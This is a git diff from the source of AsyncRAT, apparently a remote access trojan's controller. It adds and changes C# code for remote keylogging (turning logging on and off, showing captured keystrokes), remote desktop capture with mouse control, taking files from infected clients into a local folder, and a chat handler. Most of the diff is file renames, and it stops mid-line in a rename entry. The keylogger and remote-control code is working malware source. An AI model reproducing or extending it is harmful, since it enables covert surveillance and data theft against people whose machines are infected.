Af8D1wH/A9YB/wPVAf8D1AH/A9IB/wPSAf8D0QH/A64B/gNaAcADGAEi+AADHAEoAywBQwMhATADEwEa + AwcBCgMAAQGfAAEBAwgBCwNoAf4DlgH/A24B/wOBAf8DugH/A8cB/wP9Af8B+wL8Af8B+QL6Af8D+AH/ + AfYC9wH/AfQC9QH/AfIC9AH/AfEC8wH/Ae8C8QH/Ae8C8QH/Ae4C8AH/Ae4C8AH/Ae0C7wH/Ae0C7wH/ + Ac8C0AH/A8IB/wPCAf8DwQH/A8AB/wPAAf8DvwH/A74B/wO9Af8DvAH/A7sB/wO6Af8DuwH/AyIB/wOT + Af8DswH/A1sBxAMGAQgDAAEBMAADGwEmAzgBXAM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFf + AzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFf + AzkBXwM5AV8DOQFfAzgBXQMjATP/AAEAAwUBBwMIAQsDBgEIAwQBBQMBAQKkAAMBAQIDTAGTA1MBqgNW + AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW + AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW + AasDVgGrA1YBqwNTAaoDDAEQAwABAf8A/wBtAAEBAwAEAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC + AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC + AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAAEB/wD/AP8A/wCcAAFC + AU0BPgcAAT4DAAEoAwABwAMAATADAAEBAQABAQUAAYABBBYAA/8BAAH/AfgBPwH/Ad8B/wHgBAABAwb/ + BgAB/wH4AQ8B/AEBAf8BwAQAAQEG/wYAAf8B+AEPAfgBAQH/AYAFAAb/BgAB/wHAAwABPwGABQAG/wYA + Af8EAAE/AYAFAAHABAABAwYAAf8EAAE/AYAFAAGABAABAQYAAf4EAAEPAYARAAH+BAABDwGAEQAB/gQA + AQ8BgBEAAf4EAAEHAYARAAH+BAABAwGAEQAB/gQAAQEBgBEAAf4EAAEBAYARAAH+BAABAQGABQABgAsA + Af4EAAEHAYAFAAGACwAB/gQAAQ8BgAUAAYALAAH+AwABAQH/AYAEAAEBAYAEAAEBBgAB/gMAAQEB/wGA + BAABAQGABAABAQYAAf4DAAEBAf8BgAQAAQEBgAQAAQEGAAH+AwABBwH/AcAEAAEBAcAEAAEDBgAB/gMA + AQ8B/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAED + BgAB/gMAAQ8B/wHABAABAQHgBAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEB + AeAEAAEHBgAB/gMAAQ8B/wHABAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/ + AcAEAAEDAfAEAAEHBgAB/gMAAQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+ + AwABDwH/AeAEAAEDAfAEAAEPBgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQA + AR8GAAH+AwABDwH/AeAEAAEDAfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQA + AQcB/AQAAR8GAAH+AwABDwH/AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEP + Af8B8AQAAQcB/gQAAT8GAAH+AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYA + Af4DAAEfAf8B8AQAAQcB/gQAAX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGA + AgABAQH/BgAB/gEPBP8B+AQAAQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs= diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs similarity index 98% rename from AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs index 9926860..1765746 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs @@ -42,6 +42,7 @@ // // timer1 // + this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -118,12 +119,12 @@ } #endregion + private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ToolStrip toolStrip1; private System.Windows.Forms.ToolStripLabel toolStripLabel1; private System.Windows.Forms.ToolStripTextBox toolStripTextBox1; private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; private System.Windows.Forms.ToolStripButton toolStripButton1; public System.Windows.Forms.RichTextBox richTextBox1; - public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormKeylogger.cs similarity index 90% rename from AsyncRAT-C#/Server/Forms/FormKeylogger.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormKeylogger.cs index e5eba56..1cb791e 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormKeylogger.cs @@ -36,12 +36,11 @@ namespace Server.Forms private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) { - try - { - Client.Disconnected(); - } - catch { } Sb?.Clear(); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("isON").AsString = "false"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e) diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormKeylogger.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormKeylogger.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormKeylogger.resx diff --git a/AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormPassword.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPassword.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormPassword.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPassword.cs diff --git a/AsyncRAT-C#/Server/Forms/FormPassword.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPassword.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormPassword.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPassword.resx diff --git a/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormPorts.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPorts.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormPorts.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPorts.cs diff --git a/AsyncRAT-C#/Server/Forms/FormPorts.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPorts.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormPorts.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormPorts.resx diff --git a/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormProcessManager.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormProcessManager.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormProcessManager.cs diff --git a/AsyncRAT-C#/Server/Forms/FormProcessManager.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormProcessManager.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormProcessManager.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormProcessManager.resx diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs similarity index 97% rename from AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs index 38b72f5..ebe0a62 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs @@ -87,7 +87,6 @@ // this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse; this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.btnMouse.Enabled = false; this.btnMouse.Location = new System.Drawing.Point(550, 3); this.btnMouse.Name = "btnMouse"; this.btnMouse.Size = new System.Drawing.Size(32, 32); @@ -99,7 +98,6 @@ // this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image; this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.btnSave.Enabled = false; this.btnSave.Location = new System.Drawing.Point(455, 3); this.btnSave.Name = "btnSave"; this.btnSave.Size = new System.Drawing.Size(32, 32); @@ -174,9 +172,8 @@ // // button1 // - this.button1.BackgroundImage = global::Server.Properties.Resources.play_button; + this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_; this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.button1.Enabled = false; this.button1.Location = new System.Drawing.Point(12, 3); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(32, 32); @@ -244,14 +241,14 @@ public System.Windows.Forms.Timer timer1; private System.Windows.Forms.Panel panel1; private System.Windows.Forms.Label label1; + private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button2; public System.Windows.Forms.NumericUpDown numericUpDown1; private System.Windows.Forms.Label label2; public System.Windows.Forms.NumericUpDown numericUpDown2; + private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Timer timerSave; + private System.Windows.Forms.Button btnMouse; public System.Windows.Forms.Label labelWait; - public System.Windows.Forms.Button btnSave; - public System.Windows.Forms.Button btnMouse; - public System.Windows.Forms.Button button1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs similarity index 90% rename from AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index a894363..30a6bee 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -71,8 +71,8 @@ namespace Server.Forms { button2.Top = panel1.Bottom + 5; button2.Left = pictureBox1.Width / 2; - button1.Tag = (object)"play"; - //button2.PerformClick(); + button1.Tag = (object)"stop"; + button2.PerformClick(); } catch { } } @@ -83,29 +83,27 @@ namespace Server.Forms { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Command").AsString = "capture"; + msgpack.ForcePathObject("Option").AsString = "capture"; msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString()); msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString()); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; numericUpDown2.Enabled = false; - btnSave.Enabled = true; - btnMouse.Enabled = true; button1.Tag = (object)"stop"; button1.BackgroundImage = Properties.Resources.stop__1_; } else { button1.Tag = (object)"play"; - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Command").AsString = "stopCapture"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + try + { + Client.Disconnected(); + Client = null; + } + catch { } numericUpDown1.Enabled = true; numericUpDown2.Enabled = true; - btnSave.Enabled = false; - btnMouse.Enabled = false; button1.BackgroundImage = Properties.Resources.play_button; } } @@ -185,7 +183,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Command").AsString = "mouseClick"; + msgpack.ForcePathObject("Option").AsString = "mouseClick"; msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Button").AsInteger = button; @@ -210,7 +208,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Command").AsString = "mouseClick"; + msgpack.ForcePathObject("Option").AsString = "mouseClick"; msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Button").AsInteger = (Int32)(button); @@ -229,7 +227,7 @@ namespace Server.Forms Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Command").AsString = "mouseMove"; + msgpack.ForcePathObject("Option").AsString = "mouseMove"; msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx similarity index 99% rename from AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx index e5b63af..53b21e6 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx @@ -123,6 +123,9 @@ 131, 17 + + 273, 17 + diff --git a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs diff --git a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormSendFileToMemory.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.resx diff --git a/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormShell.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormShell.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormShell.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormShell.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormShell.cs diff --git a/AsyncRAT-C#/Server/Forms/FormShell.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormShell.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormShell.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormShell.resx diff --git a/AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormTorrent.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormTorrent.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormTorrent.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormTorrent.cs diff --git a/AsyncRAT-C#/Server/Forms/FormTorrent.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormTorrent.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormTorrent.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormTorrent.resx diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormWebcam.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormWebcam.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormWebcam.cs diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormWebcam.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormWebcam.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormWebcam.resx diff --git a/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs new file mode 100644 index 0000000..e2e1304 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs @@ -0,0 +1,34 @@ +using Server.Forms; +using Server.MessagePack; +using Server.Connection; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Server.Handle_Packet +{ + public class HandleChat + { + public HandleChat(MsgPack unpack_msgpack, Clients client) + { + FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; + if (chat != null) + { + Console.Beep(); + chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); + chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; + chat.richTextBox1.ScrollToCaret(); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatExit"; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } +} diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs similarity index 93% rename from AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs index 8c13015..71286e9 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs @@ -24,11 +24,9 @@ namespace Server.Handle_Packet { case "getDrivers": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { - FM.Client = client; - FM.listView1.Enabled = true; FM.toolStripStatusLabel1.Text = ""; FM.listView1.Items.Clear(); string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); @@ -52,7 +50,7 @@ namespace Server.Handle_Packet case "getPath": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; @@ -107,7 +105,7 @@ namespace Server.Handle_Packet case "error": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.listView1.Enabled = true; @@ -152,17 +150,15 @@ namespace Server.Handle_Packet FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { - string filename = Path.Combine(SD.FullPath, unpack_msgpack.ForcePathObject("Name").AsString); - string filemanagerPath = SD.FullPath; - - if (!Directory.Exists(filemanagerPath)) - Directory.CreateDirectory(filemanagerPath); + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) + return; + string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); if (File.Exists(filename)) { File.Delete(filename); await Task.Delay(500); } - await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename)); + await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString))); SD.Close(); } } diff --git a/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs new file mode 100644 index 0000000..c34cf36 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs @@ -0,0 +1,38 @@ +using Server.Forms; +using Server.MessagePack; +using Server.Connection; +using System; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace Server.Handle_Packet +{ + class HandleKeylogger + { + public HandleKeylogger(Clients client, MsgPack unpack_msgpack) + { + try + { + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; + if (KL != null) + { + KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); + KL.richTextBox1.Text = KL.Sb.ToString(); + KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength; + KL.richTextBox1.ScrollToCaret(); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("isON").AsString = "false"; + client.Send(msgpack.Encode2Bytes()); + } + + } + catch { } + } + } +} diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs similarity index 100% rename from AsyncRAT-C#/Server/Handle Packet/HandleListView.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs similarity index 100% rename from AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs similarity index 100% rename from AsyncRAT-C#/Server/Handle Packet/HandlePing.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs similarity index 100% rename from AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs similarity index 100% rename from AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs similarity index 56% rename from AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index 28bb6b4..c5fbfbf 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -12,44 +12,6 @@ namespace Server.Handle_Packet { public class HandleRemoteDesktop { - public HandleRemoteDesktop(Clients client, MsgPack unpack_msgpack) - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "screens": - { - Debug.WriteLine("I got the screen size"); - ScreenSize(client, unpack_msgpack); - break; - } - - case "capture": - { - Capture(client, unpack_msgpack); - break; - } - } - } - - public void ScreenSize(Clients client, MsgPack unpack_msgpack) - { - FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; - try - { - if (RD.Client == null) - { - RD.Client = client; - int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); - RD.numericUpDown2.Maximum = Screens - 1; - RD.labelWait.Visible = false; - RD.timer1.Start(); - RD.button1.Enabled = true; - RD.button1.Tag = (object)"play"; - RD.button1.PerformClick(); - } - } - catch { } - } public void Capture(Clients client, MsgPack unpack_msgpack) { try @@ -59,9 +21,21 @@ namespace Server.Handle_Packet { if (RD != null) { + if (RD.Client == null) + { + RD.Client = client; + RD.timer1.Start(); + byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); + RD.rdSize = decoded0.Size; + RD.labelWait.Visible = false; + } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); + RD.numericUpDown2.Maximum = Screens - 1; + if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) { RD.pictureBox1.Image = decoded; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs similarity index 100% rename from AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs similarity index 100% rename from AsyncRAT-C#/Server/Handle Packet/HandleShell.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs similarity index 100% rename from AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs rename to 